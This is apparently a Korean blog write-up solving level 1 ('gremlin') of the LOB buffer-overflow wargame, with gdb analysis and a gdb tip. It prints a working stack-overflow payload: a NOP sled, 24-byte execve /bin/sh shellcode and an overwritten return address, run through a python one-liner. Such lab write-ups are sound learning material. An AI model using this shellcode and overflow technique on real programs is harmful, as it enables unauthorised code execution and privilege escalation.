본문 바로가기
D. 시스템/실습

[LOB] 1번 gremlin

by E-HO 2017. 10. 14.
728x90

LOS에 이은 BOF시리즈 LOB를 풀어보자



우선 gate로 로그인한다


<gremlin.c>

이 C코드를 보니 버퍼의 크기는 256byte인것을 알 수 있고 

buffer에 값이 입력되는 시기는 strcpy함수가 작동한 이후라는 것도 짚고 넘어가자


gremlin을 gdb로 접근할 권한이 없기에

test로 복사하여 gdb에 접근하자


buffer의 크기가 256byte

SFP가 4byte니깐

쉘코드를 포함하여 260byte를 채우고 그 후에 ret주소를 넣는식으로 payload를 작성하면 될거 같다.

-------------------------------------------------------------------------------------------------

AT&T 문법을 intel 방식으로 바꾸는법

gdb 내에서

set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------------------

여기서 버퍼의 주소를 알기위해서

버퍼에 값이 들어간 이후 

즉, strcpy함수가 작동한 이후인

main+59

에 브레이크포인트를 걸어서 분석해보자


버퍼에 A를 넣어 대략 어디쯤부터 들어가는지 확인하였다.

0xbffff9c0

대략 이주소를 ret에 넣으면 될거 같다.


자! 그러면 이제 payload를 작성해보자

NOP을 한곳에 밀어넣는것보다 앞 뒤에 넣는것이 좋을 거 같아 앞 뒤에 넣어보자

쉘코드는

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

24byte짜리를 사용했다.



./gremlin `python -c 'print "\x90" * 200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\xc0\xf9\xff\xbf"'`

이 페이로드를 입력


잘된다 ㅎㅎ


-------------------------------------------------------------------------------------------------------------------------------

진짜 오랜시간 동안 이게 아까 계속 오류가 뜨고

쉘이 작동하지 않아서

상당히 힘들었었다...

그래서 찾다가 알아낸게

LOB는 bash를 사용하는데

이 bash는 \xff를 \x00(NULL)로 생각하여 

그 이후의 값이 싸그리 무시된다...

그래서 항상 시작하기전에

bash2

를 입력한후 문제를 풀자

----------------------------------------------------------------------------------------------------------------------------------


이게 잘 안되서 RTL이라는 방법도 이용해보고

환경변수를 사용하는 방법도 해보았다

저 bash덕분에

공부를 할 수 있는 시간을 가질수 있어서

좋았다

...



위 방법들은 bash 변경후 시도해보지 않았는데

시도 후 성공하면

포스팅 해야겠다








반응형

'D. 시스템 > 실습' 카테고리의 다른 글

[LOB] 3번 goblin  (0) 2017.11.16
[LOB] 2번 cobolt  (0) 2017.10.15
[C-LAB] EasyBOF  (0) 2017.10.13
[Pwnable.kr] bof  (0) 2017.10.13